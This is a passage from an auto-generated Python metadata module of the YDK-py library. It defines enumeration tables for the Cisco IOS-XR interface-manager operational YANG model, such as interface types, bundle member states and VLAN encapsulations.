ecf960367c6a47e57c77545aeb842910ce028fe6 | 297,759 | py | Python | cisco-ios-xr/ydk/models/cisco_ios_xr/_meta/_Cisco_IOS_XR_pfi_im_cmd_oper.py | tkamata-test/ydk-py | b637e7853a8edbbd31fbc05afa3aa4110b31c5f9 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | cisco-ios-xr/ydk/models/cisco_ios_xr/_meta/_Cisco_IOS_XR_pfi_im_cmd_oper.py | tkamata-test/ydk-py | b637e7853a8edbbd31fbc05afa3aa4110b31c5f9 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | cisco-ios-xr/ydk/models/cisco_ios_xr/_meta/_Cisco_IOS_XR_pfi_im_cmd_oper.py | tkamata-test/ydk-py | b637e7853a8edbbd31fbc05afa3aa4110b31c5f9 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
import re
import collections
from enum import Enum
from ydk._core._dm_meta_info import _MetaInfoClassMember, _MetaInfoClass, _MetaInfoEnum
from ydk.types import Empty, YList, YLeafList, DELETE, Decimal64, FixedBitsDict
from ydk._core._dm_meta_info import ATTRIBUTE, REFERENCE_CLASS, REFERENCE_LIST, REFERENCE_LEAFLIST, REFERENCE_IDENTITY_CLASS, REFERENCE_ENUM_CLASS, REFERENCE_BITS, REFERENCE_UNION
from ydk.errors import YPYError, YPYModelError
from ydk.providers._importer import _yang_ns
_meta_table = {
'ImCmdIntfTypeEnumEnum' : _MetaInfoEnum('ImCmdIntfTypeEnumEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'srp':'srp',
'tunnel':'tunnel',
'bundle':'bundle',
'serial':'serial',
'sonet-pos':'sonet_pos',
'tunnel-gre':'tunnel_gre',
'pseudowire-head-end':'pseudowire_head_end',
'cem':'cem',
'gcc':'gcc',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'ImCmdStatsEnumEnum' : _MetaInfoEnum('ImCmdStatsEnumEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'full':'full',
'basic':'basic',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'SrpMgmtFailureStateEtEnum' : _MetaInfoEnum('SrpMgmtFailureStateEtEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'idle-failure-state':'idle_failure_state',
'wait-to-restore-failure-state':'wait_to_restore_failure_state',
'manual-switch-failure-state':'manual_switch_failure_state',
'signal-degrade-failure-state':'signal_degrade_failure_state',
'signal-fail-failure-state':'signal_fail_failure_state',
'forced-switch-failure-state':'forced_switch_failure_state',
'shutdown-failure-state':'shutdown_failure_state',
'invalid-failure-state':'invalid_failure_state',
'unknown-failure-state':'unknown_failure_state',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'GccDerStateEnum' : _MetaInfoEnum('GccDerStateEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'in-service':'in_service',
'out-of-service':'out_of_service',
'maintainance':'maintainance',
'ais':'ais',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'EfpTagEtypeEnum' : _MetaInfoEnum('EfpTagEtypeEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'untagged':'untagged',
'dot1q':'dot1q',
'dot1ad':'dot1ad',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'TunnelGreModeEnum' : _MetaInfoEnum('TunnelGreModeEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'unknown':'unknown',
'gr-eo-ipv4':'gr_eo_ipv4',
'gr-eo-ipv6':'gr_eo_ipv6',
'mgr-eo-ipv4':'mgr_eo_ipv4',
'mgr-eo-ipv6':'mgr_eo_ipv6',
'ipv4':'ipv4',
'ipv6':'ipv6',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'GccSecStateEnum' : _MetaInfoEnum('GccSecStateEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'normal':'normal',
'maintainance':'maintainance',
'ais':'ais',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'SrpMgmtIpsWrapStateEnum' : _MetaInfoEnum('SrpMgmtIpsWrapStateEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'idle-wrap-state':'idle_wrap_state',
'wrapped-state':'wrapped_state',
'locked-out-wrap-state':'locked_out_wrap_state',
'unknown-wrap-state':'unknown_wrap_state',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'StatsCounterEnum' : _MetaInfoEnum('StatsCounterEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'stats-counter-rate':'stats_counter_rate',
'stats-counter-uint32':'stats_counter_uint32',
'stats-counter-uint64':'stats_counter_uint64',
'stats-counter-generic':'stats_counter_generic',
'stats-counter-proto':'stats_counter_proto',
'stats-counter-srp':'stats_counter_srp',
'stats-counter-ipv4-prec':'stats_counter_ipv4_prec',
'stats-counter-ipv4-dscp':'stats_counter_ipv4_dscp',
'stats-counter-mpls-exp':'stats_counter_mpls_exp',
'stats-counter-ipv4-bgppa':'stats_counter_ipv4_bgppa',
'stats-counter-src-bgppa':'stats_counter_src_bgppa',
'stats-counter-basic':'stats_counter_basic',
'stats-counter-comp-generic':'stats_counter_comp_generic',
'stats-counter-comp-proto':'stats_counter_comp_proto',
'stats-counter-comp-basic':'stats_counter_comp_basic',
'stats-counter-accounting':'stats_counter_accounting',
'stats-counter-comp-accounting':'stats_counter_comp_accounting',
'stats-counter-flow':'stats_counter_flow',
'stats-counter-comp-flow':'stats_counter_comp_flow',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'SonetApsEtEnum' : _MetaInfoEnum('SonetApsEtEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'not-configured':'not_configured',
'working-active':'working_active',
'protect-active':'protect_active',
'working-inactive':'working_inactive',
'protect-inactive':'protect_inactive',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'ImAttrDuplexEnum' : _MetaInfoEnum('ImAttrDuplexEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'im-attr-duplex-unknown':'im_attr_duplex_unknown',
'im-attr-duplex-half':'im_attr_duplex_half',
'im-attr-duplex-full':'im_attr_duplex_full',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'SrpMgmtIpsPathIndEnum' : _MetaInfoEnum('SrpMgmtIpsPathIndEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'short-path':'short_path',
'long-path':'long_path',
'unknown-path':'unknown_path',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'PppFsmStateEnum' : _MetaInfoEnum('PppFsmStateEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'ppp-fsm-state-initial-0':'ppp_fsm_state_initial_0',
'ppp-fsm-state-starting-1':'ppp_fsm_state_starting_1',
'ppp-fsm-state-closed-2':'ppp_fsm_state_closed_2',
'ppp-fsm-state-stopped-3':'ppp_fsm_state_stopped_3',
'ppp-fsm-state-closing-4':'ppp_fsm_state_closing_4',
'ppp-fsm-state-stopping-5':'ppp_fsm_state_stopping_5',
'ppp-fsm-state-req-sent-6':'ppp_fsm_state_req_sent_6',
'ppp-fsm-state-ack-rcvd-7':'ppp_fsm_state_ack_rcvd_7',
'ppp-fsm-state-ack-sent-8':'ppp_fsm_state_ack_sent_8',
'ppp-fsm-state-opened-9':'ppp_fsm_state_opened_9',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'EfpTagPriorityEnum' : _MetaInfoEnum('EfpTagPriorityEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'priority0':'priority0',
'priority1':'priority1',
'priority2':'priority2',
'priority3':'priority3',
'priority4':'priority4',
'priority5':'priority5',
'priority6':'priority6',
'priority7':'priority7',
'priority-any':'priority_any',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'ImCmdLoopbackEnumEnum' : _MetaInfoEnum('ImCmdLoopbackEnumEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'no-loopback':'no_loopback',
'internal-loopback':'internal_loopback',
'external-loopback':'external_loopback',
'line-loopback':'line_loopback',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'ImCmdFrTypeEnumEnum' : _MetaInfoEnum('ImCmdFrTypeEnumEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'frame-relay-cisco':'frame_relay_cisco',
'frame-relay-ietf':'frame_relay_ietf',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'ImCmdLmiTypeEnumEnum' : _MetaInfoEnum('ImCmdLmiTypeEnumEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'lmi-type-auto':'lmi_type_auto',
'lmi-type-ansi':'lmi_type_ansi',
'lmi-type-ccitt':'lmi_type_ccitt',
'lmi-type-cisco':'lmi_type_cisco',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'SrpMgmtSrrFailureEnum' : _MetaInfoEnum('SrpMgmtSrrFailureEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'idle-srr-failure':'idle_srr_failure',
'wait-to-restore-srr-failure':'wait_to_restore_srr_failure',
'signal-fail-srr-failure':'signal_fail_srr_failure',
'forced-switch-srr-failure':'forced_switch_srr_failure',
'unknown-srr-failure':'unknown_srr_failure',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'ImStateEnumEnum' : _MetaInfoEnum('ImStateEnumEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'im-state-not-ready':'im_state_not_ready',
'im-state-admin-down':'im_state_admin_down',
'im-state-down':'im_state_down',
'im-state-up':'im_state_up',
'im-state-shutdown':'im_state_shutdown',
'im-state-err-disable':'im_state_err_disable',
'im-state-down-immediate':'im_state_down_immediate',
'im-state-down-immediate-admin':'im_state_down_immediate_admin',
'im-state-down-graceful':'im_state_down_graceful',
'im-state-begin-shutdown':'im_state_begin_shutdown',
'im-state-end-shutdown':'im_state_end_shutdown',
'im-state-begin-error-disable':'im_state_begin_error_disable',
'im-state-end-error-disable':'im_state_end_error_disable',
'im-state-begin-down-graceful':'im_state_begin_down_graceful',
'im-state-reset':'im_state_reset',
'im-state-operational':'im_state_operational',
'im-state-not-operational':'im_state_not_operational',
'im-state-unknown':'im_state_unknown',
'im-state-last':'im_state_last',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'StatsTypeContentsEnum' : _MetaInfoEnum('StatsTypeContentsEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'stats-type-single':'stats_type_single',
'stats-type-variable':'stats_type_variable',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'ImAttrFlowControlEnum' : _MetaInfoEnum('ImAttrFlowControlEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'im-attr-flow-control-off':'im_attr_flow_control_off',
'im-attr-flow-control-on':'im_attr_flow_control_on',
'im-attr-flow-control-not-sup':'im_attr_flow_control_not_sup',
'im-attr-flow-control-priority':'im_attr_flow_control_priority',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'StatsIdEnum' : _MetaInfoEnum('StatsIdEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'stats-id-type-unknown':'stats_id_type_unknown',
'stats-id-type-min':'stats_id_type_min',
'stats-id-type-spare':'stats_id_type_spare',
'stats-id-type-node':'stats_id_type_node',
'stats-id-type-other':'stats_id_type_other',
'stats-id-type-feature':'stats_id_type_feature',
'stats-id-type-max':'stats_id_type_max',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'TunlPfiAfIdEnum' : _MetaInfoEnum('TunlPfiAfIdEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'tunl-pfi-af-id-none':'tunl_pfi_af_id_none',
'tunl-pfi-af-id-ipv4':'tunl_pfi_af_id_ipv4',
'tunl-pfi-af-id-ipv6':'tunl_pfi_af_id_ipv6',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'TunnelKaDfStateEnum' : _MetaInfoEnum('TunnelKaDfStateEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'disable':'disable',
'enable':'enable',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'BmdMemberTypeEnumEnum' : _MetaInfoEnum('BmdMemberTypeEnumEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'bmd-mbr-local':'bmd_mbr_local',
'bmd-mbr-foreign':'bmd_mbr_foreign',
'bmd-mbr-unknown':'bmd_mbr_unknown',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'TunnelKeyStateEnum' : _MetaInfoEnum('TunnelKeyStateEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'absent':'absent',
'present':'present',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'BmMbrStateReasonEnum' : _MetaInfoEnum('BmMbrStateReasonEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'bm-mbr-state-reason-unknown':'bm_mbr_state_reason_unknown',
'bm-mbr-state-reason-unselectable-unknown':'bm_mbr_state_reason_unselectable_unknown',
'bm-mbr-state-reason-link-down':'bm_mbr_state_reason_link_down',
'bm-mbr-state-reason-link-deleting':'bm_mbr_state_reason_link_deleting',
'bm-mbr-state-reason-creating':'bm_mbr_state_reason_creating',
'bm-mbr-state-reason-bundle-creating':'bm_mbr_state_reason_bundle_creating',
'bm-mbr-state-reason-bundle-deleting':'bm_mbr_state_reason_bundle_deleting',
'bm-mbr-state-reason-bundle-admin-down':'bm_mbr_state_reason_bundle_admin_down',
'bm-mbr-state-reason-replicating':'bm_mbr_state_reason_replicating',
'bm-mbr-state-reason-bandwidth':'bm_mbr_state_reason_bandwidth',
'bm-mbr-state-reason-loop-back':'bm_mbr_state_reason_loop_back',
'bm-mbr-state-reason-activity-type':'bm_mbr_state_reason_activity_type',
'bm-mbr-state-reason-bundle-shutdown':'bm_mbr_state_reason_bundle_shutdown',
'bm-mbr-state-reason-min-selected':'bm_mbr_state_reason_min_selected',
'bm-mbr-state-reason-max-selected':'bm_mbr_state_reason_max_selected',
'bm-mbr-state-reason-link-limit':'bm_mbr_state_reason_link_limit',
'bm-mbr-state-reason-active-limit':'bm_mbr_state_reason_active_limit',
'bm-mbr-state-reason-standby-unknown':'bm_mbr_state_reason_standby_unknown',
'bm-mbr-state-reason-expired':'bm_mbr_state_reason_expired',
'bm-mbr-state-reason-defaulted':'bm_mbr_state_reason_defaulted',
'bm-mbr-state-reason-act-or-not-agg':'bm_mbr_state_reason_act_or_not_agg',
'bm-mbr-state-reason-partner-not-agg':'bm_mbr_state_reason_partner_not_agg',
'bm-mbr-state-reason-lagid':'bm_mbr_state_reason_lagid',
'bm-mbr-state-reason-bundle-not-cfgd':'bm_mbr_state_reason_bundle_not_cfgd',
'bm-mbr-state-reason-bundle-not-ready':'bm_mbr_state_reason_bundle_not_ready',
'bm-mbr-state-reason-partner-ood':'bm_mbr_state_reason_partner_ood',
'bm-mbr-state-reason-partner-not-in-sync':'bm_mbr_state_reason_partner_not_in_sync',
'bm-mbr-state-reason-foreign-partner-oos':'bm_mbr_state_reason_foreign_partner_oos',
'bm-mbr-state-reason-attach-unknown':'bm_mbr_state_reason_attach_unknown',
'bm-mbr-state-reason-partner-not-collecting':'bm_mbr_state_reason_partner_not_collecting',
'bm-mbr-state-reason-collect-unknown':'bm_mbr_state_reason_collect_unknown',
'bm-mbr-state-reason-standby-foreign':'bm_mbr_state_reason_standby_foreign',
'bm-mbr-state-reason-bfd-starting':'bm_mbr_state_reason_bfd_starting',
'bm-mbr-state-reason-bfd-down':'bm_mbr_state_reason_bfd_down',
'bm-mbr-state-reason-bfd-nbr-unconfig':'bm_mbr_state_reason_bfd_nbr_unconfig',
'bm-mbr-state-reason-mlacp':'bm_mbr_state_reason_mlacp',
'bm-mbr-state-reason-pe-isolated':'bm_mbr_state_reason_pe_isolated',
'bm-mbr-state-reason-forced-switchover':'bm_mbr_state_reason_forced_switchover',
'bm-mbr-state-reason-errdis-unknown':'bm_mbr_state_reason_errdis_unknown',
'bm-mbr-state-reason-mlacp-no-mbr-state-info':'bm_mbr_state_reason_mlacp_no_mbr_state_info',
'bm-mbr-state-reason-active':'bm_mbr_state_reason_active',
'bm-mbr-state-reason-mlacp-no-bdl-state-info':'bm_mbr_state_reason_mlacp_no_bdl_state_info',
'bm-mbr-state-reason-mlacp-no-bdl-config-info':'bm_mbr_state_reason_mlacp_no_bdl_config_info',
'bm-mbr-state-reason-mlacp-no-bdl-sync':'bm_mbr_state_reason_mlacp_no_bdl_sync',
'bm-mbr-state-reason-mlacp-bdl-has-no-peer':'bm_mbr_state_reason_mlacp_bdl_has_no_peer',
'bm-mbr-state-reason-mlacp-nak':'bm_mbr_state_reason_mlacp_nak',
'bm-mbr-state-reason-mlacp-transport-unavailable':'bm_mbr_state_reason_mlacp_transport_unavailable',
'bm-mbr-state-reason-mlacp-not-configured':'bm_mbr_state_reason_mlacp_not_configured',
'bm-mbr-state-reason-recovery-timer':'bm_mbr_state_reason_recovery_timer',
'bm-mbr-state-reason-mlacp-standby':'bm_mbr_state_reason_mlacp_standby',
'bm-mbr-state-reason-maximized-out':'bm_mbr_state_reason_maximized_out',
'bm-mbr-state-reason-mlacp-peer-selected':'bm_mbr_state_reason_mlacp_peer_selected',
'bm-mbr-state-reason-mlacp-connect-timer-running':'bm_mbr_state_reason_mlacp_connect_timer_running',
'bm-mbr-state-reason-bundle-not-mlacp':'bm_mbr_state_reason_bundle_not_mlacp',
'bm-mbr-state-reason-no-lon':'bm_mbr_state_reason_no_lon',
'bm-mbr-state-reason-cumul-rel-bw-limit':'bm_mbr_state_reason_cumul_rel_bw_limit',
'bm-mbr-state-reason-no-mac':'bm_mbr_state_reason_no_mac',
'bm-mbr-state-reason-no-system-id':'bm_mbr_state_reason_no_system_id',
'bm-mbr-state-reason-link-shutdown':'bm_mbr_state_reason_link_shutdown',
'bm-mbr-state-reason-activity-mlacp':'bm_mbr_state_reason_activity_mlacp',
'bm-mbr-state-reason-activity-iccp':'bm_mbr_state_reason_activity_iccp',
'bm-mbr-state-reason-bundle-icpe-mlacp':'bm_mbr_state_reason_bundle_icpe_mlacp',
'bm-mbr-state-reason-no-link-num':'bm_mbr_state_reason_no_link_num',
'bm-mbr-state-reason-standby-peer-higher-prio':'bm_mbr_state_reason_standby_peer_higher_prio',
'bm-mbr-state-reason-red-state-standby':'bm_mbr_state_reason_red_state_standby',
'bm-mbr-state-reason-other-red-state-standby':'bm_mbr_state_reason_other_red_state_standby',
'bm-mbr-state-reason-hold-ing':'bm_mbr_state_reason_hold_ing',
'bm-mbr-state-reason-bundle-error-disabled':'bm_mbr_state_reason_bundle_error_disabled',
'bm-mbr-state-reason-bundle-efd-disabled':'bm_mbr_state_reason_bundle_efd_disabled',
'bm-mbr-state-reason-singleton-pe-isolated':'bm_mbr_state_reason_singleton_pe_isolated',
'bm-mbr-state-reason-bfd-ipv6-starting':'bm_mbr_state_reason_bfd_ipv6_starting',
'bm-mbr-state-reason-bfd-ipv6-down':'bm_mbr_state_reason_bfd_ipv6_down',
'bm-mbr-state-reason-bfd-ipv6-nbr-unconfig':'bm_mbr_state_reason_bfd_ipv6_nbr_unconfig',
'bm-mbr-state-reason-timer-running':'bm_mbr_state_reason_timer_running',
'bm-mbr-state-reason-count':'bm_mbr_state_reason_count',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'BmSeverityEnum' : _MetaInfoEnum('BmSeverityEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'ok':'ok',
'information':'information',
'misconfiguration':'misconfiguration',
'warning':'warning',
'error':'error',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'SrpMgmtIpsReqEnum' : _MetaInfoEnum('SrpMgmtIpsReqEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'idle-ips-request':'idle_ips_request',
'wait-to-restore-ips-request':'wait_to_restore_ips_request',
'manual-switch-ips-request':'manual_switch_ips_request',
'signal-degrade-ips-request':'signal_degrade_ips_request',
'signal-fail-ips-request':'signal_fail_ips_request',
'forced-switch-ips-request':'forced_switch_ips_request',
'unknown-ips-request':'unknown_ips_request',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'SrpMgmtFailureEtEnum' : _MetaInfoEnum('SrpMgmtFailureEtEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'hardware-missing-failure':'hardware_missing_failure',
'layer1-admin-state-failure':'layer1_admin_state_failure',
'layer1-error-failure':'layer1_error_failure',
'keepalive-missed-failure':'keepalive_missed_failure',
'link-quality-degraded-failure':'link_quality_degraded_failure',
'mate-problem-failure':'mate_problem_failure',
'side-mismatch-failure':'side_mismatch_failure',
'unknown-failure':'unknown_failure',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'ImAttrTransportModeEnum' : _MetaInfoEnum('ImAttrTransportModeEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'im-attr-transport-mode-unknown':'im_attr_transport_mode_unknown',
'im-attr-transport-mode-lan':'im_attr_transport_mode_lan',
'im-attr-transport-mode-wan':'im_attr_transport_mode_wan',
'im-attr-transport-mode-otn-bt-opu1e':'im_attr_transport_mode_otn_bt_opu1e',
'im-attr-transport-mode-otn-bt-opu2e':'im_attr_transport_mode_otn_bt_opu2e',
'im-attr-transport-mode-otn-opu3':'im_attr_transport_mode_otn_opu3',
'im-attr-transport-mode-otn-opu4':'im_attr_transport_mode_otn_opu4',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'ImCmdEncapsEnumEnum' : _MetaInfoEnum('ImCmdEncapsEnumEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'frame-relay':'frame_relay',
'vlan':'vlan',
'ppp':'ppp',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'BmMuxstateEnum' : _MetaInfoEnum('BmMuxstateEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'detached':'detached',
'waiting':'waiting',
'attached':'attached',
'collecting':'collecting',
'distributing':'distributing',
'collecting-distributing':'collecting_distributing',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'NcpIdentEnum' : _MetaInfoEnum('NcpIdentEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'cdpcp':'cdpcp',
'ipcp':'ipcp',
'ipcpiw':'ipcpiw',
'ipv6cp':'ipv6cp',
'mplscp':'mplscp',
'osicp':'osicp',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'BmdMemberStateEnum' : _MetaInfoEnum('BmdMemberStateEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'bmd-mbr-state-configured':'bmd_mbr_state_configured',
'bmd-mbr-state-standby':'bmd_mbr_state_standby',
'bmd-mbr-state-hot-standby':'bmd_mbr_state_hot_standby',
'bmd-mbr-state-negotiating':'bmd_mbr_state_negotiating',
'bmd-mbr-state-bfd-running':'bmd_mbr_state_bfd_running',
'bmd-mbr-state-active':'bmd_mbr_state_active',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'BmMuxreasonEnum' : _MetaInfoEnum('BmMuxreasonEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'bm-mux-reason-no-reason':'bm_mux_reason_no_reason',
'bm-mux-reason-link-down':'bm_mux_reason_link_down',
'bm-mux-reason-link-deleted':'bm_mux_reason_link_deleted',
'bm-mux-reason-duplex':'bm_mux_reason_duplex',
'bm-mux-reason-bandwidth':'bm_mux_reason_bandwidth',
'bm-mux-reason-loop-back':'bm_mux_reason_loop_back',
'bm-mux-reason-activity-type':'bm_mux_reason_activity_type',
'bm-mux-reason-link-limit':'bm_mux_reason_link_limit',
'bm-mux-reason-shared':'bm_mux_reason_shared',
'bm-mux-reason-lagid':'bm_mux_reason_lagid',
'bm-mux-reason-no-bundle':'bm_mux_reason_no_bundle',
'bm-mux-reason-no-primary':'bm_mux_reason_no_primary',
'bm-mux-reason-bundle-down':'bm_mux_reason_bundle_down',
'bm-mux-reason-individual':'bm_mux_reason_individual',
'bm-mux-reason-defaulted':'bm_mux_reason_defaulted',
'bm-mux-reason-in-sync':'bm_mux_reason_in_sync',
'bm-mux-reason-collecting':'bm_mux_reason_collecting',
'bm-mux-reason-active-link-limit':'bm_mux_reason_active_link_limit',
'bm-mux-reason-distributing':'bm_mux_reason_distributing',
'bm-mux-reason-count':'bm_mux_reason_count',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'ImAttrLinkEnum' : _MetaInfoEnum('ImAttrLinkEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'im-attr-link-type-auto':'im_attr_link_type_auto',
'im-attr-link-type-force':'im_attr_link_type_force',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'VlanEncapsEnum' : _MetaInfoEnum('VlanEncapsEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'no-encapsulation':'no_encapsulation',
'dot1q':'dot1q',
'qinq':'qinq',
'qin-any':'qin_any',
'dot1q-native':'dot1q_native',
'dot1ad':'dot1ad',
'dot1ad-native':'dot1ad_native',
'service-instance':'service_instance',
'dot1ad-dot1q':'dot1ad_dot1q',
'dot1ad-any':'dot1ad_any',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'EfpPayloadEtypeEnum' : _MetaInfoEnum('EfpPayloadEtypeEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'payload-ethertype-any':'payload_ethertype_any',
'payload-ethertype-ip':'payload_ethertype_ip',
'payload-ethertype-pppoe':'payload_ethertype_pppoe',
